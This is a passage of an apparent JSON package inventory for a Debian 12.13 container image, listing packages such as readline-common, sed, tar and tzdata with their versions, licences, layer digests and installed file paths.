"/usr/share/perl/5.36.0/unicore/lib/Scx/Knda.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Kthi.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Lana.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Lao.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Latn.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Limb.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Lina.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Linb.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Mlym.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Mong.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Mult.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Mymr.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Nand.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Nko.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Orya.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Phlp.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Rohg.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Shrd.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Sind.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Sinh.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Syrc.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Tagb.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Takr.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Talu.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Taml.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Tang.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Telu.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Thaa.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Tibt.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Tirh.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Vith.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Xsux.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Yezi.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Yi.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Zinh.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Zyyy.pl", "/usr/share/perl/5.36.0/unicore/lib/Scx/Zzzz.pl", "/usr/share/perl/5.36.0/unicore/lib/Term/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/UIdeo/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Upper/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/VS/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/Vo/R.pl", "/usr/share/perl/5.36.0/unicore/lib/Vo/Tr.pl", "/usr/share/perl/5.36.0/unicore/lib/Vo/Tu.pl", "/usr/share/perl/5.36.0/unicore/lib/Vo/U.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/EX.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/Extend.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/FO.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/HL.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/KA.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/LE.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/MB.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/ML.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/MN.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/NU.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/WSegSpac.pl", "/usr/share/perl/5.36.0/unicore/lib/WB/XX.pl", "/usr/share/perl/5.36.0/unicore/lib/XIDC/Y.pl", "/usr/share/perl/5.36.0/unicore/lib/XIDS/Y.pl", "/usr/share/perl/5.36.0/unicore/uni_keywords.pl", "/usr/share/perl/5.36.0/unicore/version", "/usr/share/perl/5.36.0/utf8.pm", "/usr/share/perl/5.36.0/vars.pm", "/usr/share/perl/5.36.0/version.pm", "/usr/share/perl/5.36.0/version.pod", "/usr/share/perl/5.36.0/version/Internals.pod", "/usr/share/perl/5.36.0/version/regex.pm", "/usr/share/perl/5.36.0/vmsish.pm", "/usr/share/perl/5.36.0/warnings.pm", "/usr/share/perl/5.36.0/warnings/register.pm" ], "AnalyzedBy": "dpkg" }, { "ID": "readline-common@8.2-1.3", "Name": "readline-common", "Identifier": { "PURL": "pkg:deb/debian/readline-common@8.2-1.3?arch=all\u0026distro=debian-12.13", "UID": "6ee6e3db008fe80a" }, "Version": "8.2", "Release": "1.3", "Arch": "all", "SrcName": "readline", "SrcVersion": "8.2", "SrcRelease": "1.3", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-or-later", "ISC-no-attribution" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "dpkg@1.21.22" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/share/doc/readline-common/changelog.Debian.gz", "/usr/share/doc/readline-common/changelog.gz", "/usr/share/doc/readline-common/copyright", "/usr/share/doc/readline-common/inputrc.arrows", "/usr/share/info/rluserman.info.gz", "/usr/share/lintian/overrides/readline-common", "/usr/share/man/man3/history.3readline.gz", "/usr/share/man/man3/readline.3readline.gz", "/usr/share/readline/inputrc" ], "AnalyzedBy": "dpkg" }, { "ID": "rpcsvc-proto@1.4.3-1", "Name": "rpcsvc-proto", "Identifier": { "PURL": "pkg:deb/debian/rpcsvc-proto@1.4.3-1?arch=amd64\u0026distro=debian-12.13", "UID": "75056fcf4605bfa9" }, "Version": "1.4.3", "Release": "1", "Arch": "amd64", "SrcName": "rpcsvc-proto", "SrcVersion": "1.4.3", "SrcRelease": "1", "Licenses": [ "BSD-3-Clause", "permissive-fsf", "permissive-makefile-in", "permissive-autoconf-m4-no-warranty", "GPL-3+-autoconf-exception", "permissive-configure", "GPL-2+-autoconf-exception", "MIT", "permissive-autoconf-m4", "GPL-2.0-only", "GPL-3.0-only" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/bin/rpcgen", "/usr/include/rpcsvc/bootparam_prot.h", "/usr/include/rpcsvc/bootparam_prot.x", "/usr/include/rpcsvc/key_prot.h", "/usr/include/rpcsvc/key_prot.x", "/usr/include/rpcsvc/klm_prot.h", "/usr/include/rpcsvc/klm_prot.x", "/usr/include/rpcsvc/mount.h", "/usr/include/rpcsvc/mount.x", "/usr/include/rpcsvc/nfs_prot.h", "/usr/include/rpcsvc/nfs_prot.x", "/usr/include/rpcsvc/nlm_prot.h", "/usr/include/rpcsvc/nlm_prot.x", "/usr/include/rpcsvc/rex.h", "/usr/include/rpcsvc/rex.x", "/usr/include/rpcsvc/rquota.h", "/usr/include/rpcsvc/rquota.x", "/usr/include/rpcsvc/rstat.h", "/usr/include/rpcsvc/rstat.x", "/usr/include/rpcsvc/rusers.h", "/usr/include/rpcsvc/rusers.x", "/usr/include/rpcsvc/sm_inter.h", "/usr/include/rpcsvc/sm_inter.x", "/usr/include/rpcsvc/spray.h", "/usr/include/rpcsvc/spray.x", "/usr/share/doc/rpcsvc-proto/changelog.Debian.gz", "/usr/share/doc/rpcsvc-proto/changelog.gz", "/usr/share/doc/rpcsvc-proto/copyright", "/usr/share/man/man1/rpcgen.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "sed@4.9-1", "Name": "sed", "Identifier": { "PURL": "pkg:deb/debian/sed@4.9-1?arch=amd64\u0026distro=debian-12.13", "UID": "9f9404e9abbd27be" }, "Version": "4.9", "Release": "1", "Arch": "amd64", "SrcName": "sed", "SrcVersion": "4.9", "SrcRelease": "1", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "X11", "GFDL-1.3-no-invariants-or-later", "GFDL-1.3-only", "ISC", "BSD-4-Clause-UC", "BSL-1", "pcre" ], "Maintainer": "Clint Adams \u003cclint@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/sed", "/usr/share/doc/sed/AUTHORS", "/usr/share/doc/sed/BUGS.gz", "/usr/share/doc/sed/NEWS.gz", "/usr/share/doc/sed/README", "/usr/share/doc/sed/THANKS.gz", "/usr/share/doc/sed/changelog.Debian.gz", "/usr/share/doc/sed/changelog.gz", "/usr/share/doc/sed/copyright", "/usr/share/doc/sed/examples/dc.sed", "/usr/share/doc/sed/sedfaq.txt.gz", "/usr/share/info/sed.info.gz", "/usr/share/locale/af/LC_MESSAGES/sed.mo", "/usr/share/locale/ast/LC_MESSAGES/sed.mo", "/usr/share/locale/bg/LC_MESSAGES/sed.mo", "/usr/share/locale/ca/LC_MESSAGES/sed.mo", "/usr/share/locale/cs/LC_MESSAGES/sed.mo", "/usr/share/locale/da/LC_MESSAGES/sed.mo", "/usr/share/locale/de/LC_MESSAGES/sed.mo", "/usr/share/locale/el/LC_MESSAGES/sed.mo", "/usr/share/locale/eo/LC_MESSAGES/sed.mo", "/usr/share/locale/es/LC_MESSAGES/sed.mo", "/usr/share/locale/et/LC_MESSAGES/sed.mo", "/usr/share/locale/eu/LC_MESSAGES/sed.mo", "/usr/share/locale/fi/LC_MESSAGES/sed.mo", "/usr/share/locale/fr/LC_MESSAGES/sed.mo", "/usr/share/locale/ga/LC_MESSAGES/sed.mo", "/usr/share/locale/gl/LC_MESSAGES/sed.mo", "/usr/share/locale/he/LC_MESSAGES/sed.mo", "/usr/share/locale/hr/LC_MESSAGES/sed.mo", "/usr/share/locale/hu/LC_MESSAGES/sed.mo", "/usr/share/locale/id/LC_MESSAGES/sed.mo", "/usr/share/locale/it/LC_MESSAGES/sed.mo", "/usr/share/locale/ja/LC_MESSAGES/sed.mo", "/usr/share/locale/ka/LC_MESSAGES/sed.mo", "/usr/share/locale/ko/LC_MESSAGES/sed.mo", "/usr/share/locale/nb/LC_MESSAGES/sed.mo", "/usr/share/locale/nl/LC_MESSAGES/sed.mo", "/usr/share/locale/pl/LC_MESSAGES/sed.mo", "/usr/share/locale/pt/LC_MESSAGES/sed.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/sed.mo", "/usr/share/locale/ro/LC_MESSAGES/sed.mo", "/usr/share/locale/ru/LC_MESSAGES/sed.mo", "/usr/share/locale/sk/LC_MESSAGES/sed.mo", "/usr/share/locale/sl/LC_MESSAGES/sed.mo", "/usr/share/locale/sr/LC_MESSAGES/sed.mo", "/usr/share/locale/sv/LC_MESSAGES/sed.mo", "/usr/share/locale/tr/LC_MESSAGES/sed.mo", "/usr/share/locale/uk/LC_MESSAGES/sed.mo", "/usr/share/locale/vi/LC_MESSAGES/sed.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/sed.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/sed.mo", "/usr/share/man/man1/sed.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "sysvinit-utils@3.06-4", "Name": "sysvinit-utils", "Identifier": { "PURL": "pkg:deb/debian/sysvinit-utils@3.06-4?arch=amd64\u0026distro=debian-12.13", "UID": "a56f5562ec84427e" }, "Version": "3.06", "Release": "4", "Arch": "amd64", "SrcName": "sysvinit", "SrcVersion": "3.06", "SrcRelease": "4", "Licenses": [ "GPL-2.0-or-later", "GPL-3.0-only", "GPL-2.0-only" ], "Maintainer": "Debian sysvinit maintainers \u003cdebian-init-diversity@chiark.greenend.org.uk\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/init/init-d-script", "/lib/init/vars.sh", "/lib/lsb/init-functions", "/lib/lsb/init-functions.d/00-verbose", "/sbin/fstab-decode", "/sbin/killall5", "/usr/share/doc/sysvinit-utils/changelog.Debian.gz", "/usr/share/doc/sysvinit-utils/copyright", "/usr/share/man/man5/init-d-script.5.gz", "/usr/share/man/man8/fstab-decode.8.gz", "/usr/share/man/man8/killall5.8.gz", "/usr/share/man/man8/pidof.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "tar@1.34+dfsg-1.2+deb12u1", "Name": "tar", "Identifier": { "PURL": "pkg:deb/debian/tar@1.34%2Bdfsg-1.2%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "1d42a4168a18e3b2" }, "Version": "1.34+dfsg", "Release": "1.2+deb12u1", "Arch": "amd64", "SrcName": "tar", "SrcVersion": "1.34+dfsg", "SrcRelease": "1.2+deb12u1", "Licenses": [ "GPL-3.0-or-later", "GPL-3.0-only", "GPL-3+ with Bison exception", "LGPL-3.0-or-later", "LGPL-3.0-only", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Janos Lenart \u003cocsi@debian.org\u003e", "Repository": { "Class": "official" }, "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/bin/tar", "/usr/lib/mime/packages/tar", "/usr/sbin/rmt-tar", "/usr/sbin/tarcat", "/usr/share/doc/tar/AUTHORS", "/usr/share/doc/tar/NEWS.gz", "/usr/share/doc/tar/README.Debian", "/usr/share/doc/tar/THANKS.gz", "/usr/share/doc/tar/changelog.1.gz", "/usr/share/doc/tar/changelog.Debian.gz", "/usr/share/doc/tar/changelog.gz", "/usr/share/doc/tar/copyright", "/usr/share/locale/bg/LC_MESSAGES/tar.mo", "/usr/share/locale/ca/LC_MESSAGES/tar.mo", "/usr/share/locale/cs/LC_MESSAGES/tar.mo", "/usr/share/locale/da/LC_MESSAGES/tar.mo", "/usr/share/locale/de/LC_MESSAGES/tar.mo", "/usr/share/locale/el/LC_MESSAGES/tar.mo", "/usr/share/locale/eo/LC_MESSAGES/tar.mo", "/usr/share/locale/es/LC_MESSAGES/tar.mo", "/usr/share/locale/et/LC_MESSAGES/tar.mo", "/usr/share/locale/eu/LC_MESSAGES/tar.mo", "/usr/share/locale/fi/LC_MESSAGES/tar.mo", "/usr/share/locale/fr/LC_MESSAGES/tar.mo", "/usr/share/locale/ga/LC_MESSAGES/tar.mo", "/usr/share/locale/gl/LC_MESSAGES/tar.mo", "/usr/share/locale/hr/LC_MESSAGES/tar.mo", "/usr/share/locale/hu/LC_MESSAGES/tar.mo", "/usr/share/locale/id/LC_MESSAGES/tar.mo", "/usr/share/locale/it/LC_MESSAGES/tar.mo", "/usr/share/locale/ja/LC_MESSAGES/tar.mo", "/usr/share/locale/ko/LC_MESSAGES/tar.mo", "/usr/share/locale/ky/LC_MESSAGES/tar.mo", "/usr/share/locale/ms/LC_MESSAGES/tar.mo", "/usr/share/locale/nb/LC_MESSAGES/tar.mo", "/usr/share/locale/nl/LC_MESSAGES/tar.mo", "/usr/share/locale/pl/LC_MESSAGES/tar.mo", "/usr/share/locale/pt/LC_MESSAGES/tar.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/tar.mo", "/usr/share/locale/ro/LC_MESSAGES/tar.mo", "/usr/share/locale/ru/LC_MESSAGES/tar.mo", "/usr/share/locale/sk/LC_MESSAGES/tar.mo", "/usr/share/locale/sl/LC_MESSAGES/tar.mo", "/usr/share/locale/sr/LC_MESSAGES/tar.mo", "/usr/share/locale/sv/LC_MESSAGES/tar.mo", "/usr/share/locale/tr/LC_MESSAGES/tar.mo", "/usr/share/locale/uk/LC_MESSAGES/tar.mo", "/usr/share/locale/vi/LC_MESSAGES/tar.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/tar.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/tar.mo", "/usr/share/man/man1/tar.1.gz", "/usr/share/man/man1/tarcat.1.gz", "/usr/share/man/man8/rmt-tar.8.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "tzdata@2025b-0+deb12u2", "Name": "tzdata", "Identifier": { "PURL": "pkg:deb/debian/tzdata@2025b-0%2Bdeb12u2?arch=all\u0026distro=debian-12.13", "UID": "5b4205208473c550" }, "Version": "2025b", "Release": "0+deb12u2", "Arch": "all", "SrcName": "tzdata", "SrcVersion": "2025b", "SrcRelease": "0+deb12u2", "Licenses": [ "public-domain" ], "Maintainer": "GNU Libc Maintainers \u003cdebian-glibc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "debconf@1.5.82" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/share/doc/tzdata/README.Debian", "/usr/share/doc/tzdata/changelog.Debian.gz", "/usr/share/doc/tzdata/changelog.gz", "/usr/share/doc/tzdata/copyright", "/usr/share/lintian/overrides/tzdata", "/usr/share/zoneinfo/Africa/Abidjan", "/usr/share/zoneinfo/Africa/Accra", "/usr/share/zoneinfo/Africa/Addis_Ababa", "/usr/share/zoneinfo/Africa/Algiers", "/usr/share/zoneinfo/Africa/Asmara", "/usr/share/zoneinfo/Africa/Bamako", "/usr/share/zoneinfo/Africa/Bangui", "/usr/share/zoneinfo/Africa/Banjul", "/usr/share/zoneinfo/Africa/Bissau", "/usr/share/zoneinfo/Africa/Blantyre", "/usr/share/zoneinfo/Africa/Brazzaville", "/usr/share/zoneinfo/Africa/Bujumbura", "/usr/share/zoneinfo/Africa/Cairo", "/usr/share/zoneinfo/Africa/Casablanca", "/usr/share/zoneinfo/Africa/Ceuta", "/usr/share/zoneinfo/Africa/Conakry", "/usr/share/zoneinfo/Africa/Dakar", "/usr/share/zoneinfo/Africa/Dar_es_Salaam", "/usr/share/zoneinfo/Africa/Djibouti", "/usr/share/zoneinfo/Africa/Douala", "/usr/share/zoneinfo/Africa/El_Aaiun", "/usr/share/zoneinfo/Africa/Freetown", "/usr/share/zoneinfo/Africa/Gaborone", "/usr/share/zoneinfo/Africa/Harare", "/usr/share/zoneinfo/Africa/Johannesburg", "/usr/share/zoneinfo/Africa/Juba", "/usr/share/zoneinfo/Africa/Kampala", "/usr/share/zoneinfo/Africa/Khartoum", "/usr/share/zoneinfo/Africa/Kigali", "/usr/share/zoneinfo/Africa/Kinshasa", "/usr/share/zoneinfo/Africa/Lagos", "/usr/share/zoneinfo/Africa/Libreville", "/usr/share/zoneinfo/Africa/Lome", "/usr/share/zoneinfo/Africa/Luanda", "/usr/share/zoneinfo/Africa/Lubumbashi", "/usr/share/zoneinfo/Africa/Lusaka", "/usr/share/zoneinfo/Africa/Malabo", "/usr/share/zoneinfo/Africa/Maputo", "/usr/share/zoneinfo/Africa/Maseru", "/usr/share/zoneinfo/Africa/Mbabane", "/usr/share/zoneinfo/Africa/Mogadishu", "/usr/share/zoneinfo/Africa/Monrovia", "/usr/share/zoneinfo/Africa/Nairobi", "/usr/share/zoneinfo/Africa/Ndjamena", "/usr/share/zoneinfo/Africa/Niamey", "/usr/share/zoneinfo/Africa/Nouakchott", "/usr/share/zoneinfo/Africa/Ouagadougou", "/usr/share/zoneinfo/Africa/Porto-Novo", "/usr/share/zoneinfo/Africa/Sao_Tome", "/usr/share/zoneinfo/Africa/Tripoli", "/usr/share/zoneinfo/Africa/Tunis", "/usr/share/zoneinfo/Africa/Windhoek", "/usr/share/zoneinfo/America/Adak", "/usr/share/zoneinfo/America/Anchorage", "/usr/share/zoneinfo/America/Anguilla", "/usr/share/zoneinfo/America/Antigua", "/usr/share/zoneinfo/America/Araguaina", "/usr/share/zoneinfo/America/Argentina/Buenos_Aires", "/usr/share/zoneinfo/America/Argentina/Catamarca", "/usr/share/zoneinfo/America/Argentina/Cordoba", "/usr/share/zoneinfo/America/Argentina/Jujuy", "/usr/share/zoneinfo/America/Argentina/La_Rioja", "/usr/share/zoneinfo/America/Argentina/Mendoza", "/usr/share/zoneinfo/America/Argentina/Rio_Gallegos", "/usr/share/zoneinfo/America/Argentina/Salta", "/usr/share/zoneinfo/America/Argentina/San_Juan", "/usr/share/zoneinfo/America/Argentina/San_Luis", "/usr/share/zoneinfo/America/Argentina/Tucuman", "/usr/share/zoneinfo/America/Argentina/Ushuaia", "/usr/share/zoneinfo/America/Aruba", "/usr/share/zoneinfo/America/Asuncion", "/usr/share/zoneinfo/America/Atikokan", "/usr/share/zoneinfo/America/Bahia", "/usr/share/zoneinfo/America/Bahia_Banderas", "/usr/share/zoneinfo/America/Barbados", "/usr/share/zoneinfo/America/Belem", "/usr/share/zoneinfo/America/Belize", "/usr/share/zoneinfo/America/Blanc-Sablon", "/usr/share/zoneinfo/America/Boa_Vista", "/usr/share/zoneinfo/America/Bogota", "/usr/share/zoneinfo/America/Boise", "/usr/share/zoneinfo/America/Cambridge_Bay", "/usr/share/zoneinfo/America/Campo_Grande", "/usr/share/zoneinfo/America/Cancun", "/usr/share/zoneinfo/America/Caracas", "/usr/share/zoneinfo/America/Cayenne", "/usr/share/zoneinfo/America/Cayman", "/usr/share/zoneinfo/America/Chicago", "/usr/share/zoneinfo/America/Chihuahua", "/usr/share/zoneinfo/America/Ciudad_Juarez", "/usr/share/zoneinfo/America/Costa_Rica", "/usr/share/zoneinfo/America/Coyhaique", "/usr/share/zoneinfo/America/Creston", "/usr/share/zoneinfo/America/Cuiaba", "/usr/share/zoneinfo/America/Curacao", "/usr/share/zoneinfo/America/Danmarkshavn", "/usr/share/zoneinfo/America/Dawson", "/usr/share/zoneinfo/America/Dawson_Creek", "/usr/share/zoneinfo/America/Denver", "/usr/share/zoneinfo/America/Detroit", "/usr/share/zoneinfo/America/Dominica", "/usr/share/zoneinfo/America/Edmonton", "/usr/share/zoneinfo/America/Eirunepe", "/usr/share/zoneinfo/America/El_Salvador", "/usr/share/zoneinfo/America/Fort_Nelson", "/usr/share/zoneinfo/America/Fortaleza", "/usr/share/zoneinfo/America/Glace_Bay", "/usr/share/zoneinfo/America/Goose_Bay", "/usr/share/zoneinfo/America/Grand_Turk", "/usr/share/zoneinfo/America/Grenada", "/usr/share/zoneinfo/America/Guadeloupe", "/usr/share/zoneinfo/America/Guatemala", "/usr/share/zoneinfo/America/Guayaquil", "/usr/share/zoneinfo/America/Guyana", "/usr/share/zoneinfo/America/Halifax", "/usr/share/zoneinfo/America/Havana", "/usr/share/zoneinfo/America/Hermosillo", "/usr/share/zoneinfo/America/Indiana/Indianapolis", "/usr/share/zoneinfo/America/Indiana/Knox", "/usr/share/zoneinfo/America/Indiana/Marengo", "/usr/share/zoneinfo/America/Indiana/Petersburg", "/usr/share/zoneinfo/America/Indiana/Tell_City", "/usr/share/zoneinfo/America/Indiana/Vevay", "/usr/share/zoneinfo/America/Indiana/Vincennes", "/usr/share/zoneinfo/America/Indiana/Winamac", "/usr/share/zoneinfo/America/Inuvik", "/usr/share/zoneinfo/America/Iqaluit", "/usr/share/zoneinfo/America/Jamaica", "/usr/share/zoneinfo/America/Juneau", "/usr/share/zoneinfo/America/Kentucky/Louisville", "/usr/share/zoneinfo/America/Kentucky/Monticello", "/usr/share/zoneinfo/America/La_Paz", "/usr/share/zoneinfo/America/Lima", "/usr/share/zoneinfo/America/Los_Angeles", "/usr/share/zoneinfo/America/Maceio", "/usr/share/zoneinfo/America/Managua", "/usr/share/zoneinfo/America/Manaus", "/usr/share/zoneinfo/America/Martinique", "/usr/share/zoneinfo/America/Matamoros", "/usr/share/zoneinfo/America/Mazatlan", "/usr/share/zoneinfo/America/Menominee", "/usr/share/zoneinfo/America/Merida", "/usr/share/zoneinfo/America/Metlakatla", "/usr/share/zoneinfo/America/Mexico_City", "/usr/share/zoneinfo/America/Miquelon", "/usr/share/zoneinfo/America/Moncton", "/usr/share/zoneinfo/America/Monterrey", "/usr/share/zoneinfo/America/Montevideo", "/usr/share/zoneinfo/America/Montserrat", "/usr/share/zoneinfo/America/Nassau", "/usr/share/zoneinfo/America/New_York", "/usr/share/zoneinfo/America/Nome", "/usr/share/zoneinfo/America/Noronha", "/usr/share/zoneinfo/America/North_Dakota/Beulah", "/usr/share/zoneinfo/America/North_Dakota/Center", "/usr/share/zoneinfo/America/North_Dakota/New_Salem", "/usr/share/zoneinfo/America/Nuuk", "/usr/share/zoneinfo/America/Ojinaga", "/usr/share/zoneinfo/America/Panama", "/usr/share/zoneinfo/America/Paramaribo", "/usr/share/zoneinfo/America/Phoenix", "/usr/share/zoneinfo/America/Port-au-Prince", "/usr/share/zoneinfo/America/Port_of_Spain", "/usr/share/zoneinfo/America/Porto_Velho", "/usr/share/zoneinfo/America/Puerto_Rico", "/usr/share/zoneinfo/America/Punta_Arenas", "/usr/share/zoneinfo/America/Rankin_Inlet", "/usr/share/zoneinfo/America/Recife", "/usr/share/zoneinfo/America/Regina", "/usr/share/zoneinfo/America/Resolute", "/usr/share/zoneinfo/America/Rio_Branco", "/usr/share/zoneinfo/America/Santarem", "/usr/share/zoneinfo/America/Santiago", "/usr/share/zoneinfo/America/Santo_Domingo", "/usr/share/zoneinfo/America/Sao_Paulo", "/usr/share/zoneinfo/America/Scoresbysund", "/usr/share/zoneinfo/America/Sitka", "/usr/share/zoneinfo/America/St_Johns", "/usr/share/zoneinfo/America/St_Kitts", "/usr/share/zoneinfo/America/St_Lucia", "/usr/share/zoneinfo/America/St_Thomas", "/usr/share/zoneinfo/America/St_Vincent", "/usr/share/zoneinfo/America/Swift_Current", "/usr/share/zoneinfo/America/Tegucigalpa", "/usr/share/zoneinfo/America/Thule", "/usr/share/zoneinfo/America/Tijuana", "/usr/share/zoneinfo/America/Toronto", "/usr/share/zoneinfo/America/Tortola", "/usr/share/zoneinfo/America/Vancouver", "/usr/share/zoneinfo/America/Whitehorse", "/usr/share/zoneinfo/America/Winnipeg", "/usr/share/zoneinfo/America/Yakutat", "/usr/share/zoneinfo/Antarctica/Casey", "/usr/share/zoneinfo/Antarctica/Davis", "/usr/share/zoneinfo/Antarctica/DumontDUrville", "/usr/share/zoneinfo/Antarctica/Macquarie", "/usr/share/zoneinfo/Antarctica/Mawson", "/usr/share/zoneinfo/Antarctica/McMurdo", "/usr/share/zoneinfo/Antarctica/Palmer", "/usr/share/zoneinfo/Antarctica/Rothera", "/usr/share/zoneinfo/Antarctica/Syowa", "/usr/share/zoneinfo/Antarctica/Troll", "/usr/share/zoneinfo/Antarctica/Vostok", "/usr/share/zoneinfo/Asia/Aden", "/usr/share/zoneinfo/Asia/Almaty", "/usr/share/zoneinfo/Asia/Amman", "/usr/share/zoneinfo/Asia/Anadyr", "/usr/share/zoneinfo/Asia/Aqtau", "/usr/share/zoneinfo/Asia/Aqtobe", "/usr/share/zoneinfo/Asia/Ashgabat", "/usr/share/zoneinfo/Asia/Atyrau", "/usr/share/zoneinfo/Asia/Baghdad", "/usr/share/zoneinfo/Asia/Bahrain", "/usr/share/zoneinfo/Asia/Baku", "/usr/share/zoneinfo/Asia/Bangkok", "/usr/share/zoneinfo/Asia/Barnaul", "/usr/share/zoneinfo/Asia/Beirut", "/usr/share/zoneinfo/Asia/Bishkek", "/usr/share/zoneinfo/Asia/Brunei", "/usr/share/zoneinfo/Asia/Chita", "/usr/share/zoneinfo/Asia/Colombo", "/usr/share/zoneinfo/Asia/Damascus", "/usr/share/zoneinfo/Asia/Dhaka", "/usr/share/zoneinfo/Asia/Dili", "/usr/share/zoneinfo/Asia/Dubai", "/usr/share/zoneinfo/Asia/Dushanbe", "/usr/share/zoneinfo/Asia/Famagusta", "/usr/share/zoneinfo/Asia/Gaza", "/usr/share/zoneinfo/Asia/Hebron", "/usr/share/zoneinfo/Asia/Ho_Chi_Minh", "/usr/share/zoneinfo/Asia/Hong_Kong", "/usr/share/zoneinfo/Asia/Hovd", "/usr/share/zoneinfo/Asia/Irkutsk", "/usr/share/zoneinfo/Asia/Jakarta", "/usr/share/zoneinfo/Asia/Jayapura", "/usr/share/zoneinfo/Asia/Jerusalem", "/usr/share/zoneinfo/Asia/Kabul", "/usr/share/zoneinfo/Asia/Kamchatka", "/usr/share/zoneinfo/Asia/Karachi", "/usr/share/zoneinfo/Asia/Kathmandu", "/usr/share/zoneinfo/Asia/Khandyga", "/usr/share/zoneinfo/Asia/Kolkata", "/usr/share/zoneinfo/Asia/Krasnoyarsk", "/usr/share/zoneinfo/Asia/Kuala_Lumpur", "/usr/share/zoneinfo/Asia/Kuching", "/usr/share/zoneinfo/Asia/Kuwait", "/usr/share/zoneinfo/Asia/Macau", "/usr/share/zoneinfo/Asia/Magadan", "/usr/share/zoneinfo/Asia/Makassar", "/usr/share/zoneinfo/Asia/Manila", "/usr/share/zoneinfo/Asia/Muscat", "/usr/share/zoneinfo/Asia/Nicosia", "/usr/share/zoneinfo/Asia/Novokuznetsk", "/usr/share/zoneinfo/Asia/Novosibirsk", "/usr/share/zoneinfo/Asia/Omsk", "/usr/share/zoneinfo/Asia/Oral", "/usr/share/zoneinfo/Asia/Phnom_Penh", "/usr/share/zoneinfo/Asia/Pontianak", "/usr/share/zoneinfo/Asia/Pyongyang", "/usr/share/zoneinfo/Asia/Qatar", "/usr/share/zoneinfo/Asia/Qostanay", "/usr/share/zoneinfo/Asia/Qyzylorda", "/usr/share/zoneinfo/Asia/Riyadh", "/usr/share/zoneinfo/Asia/Sakhalin", 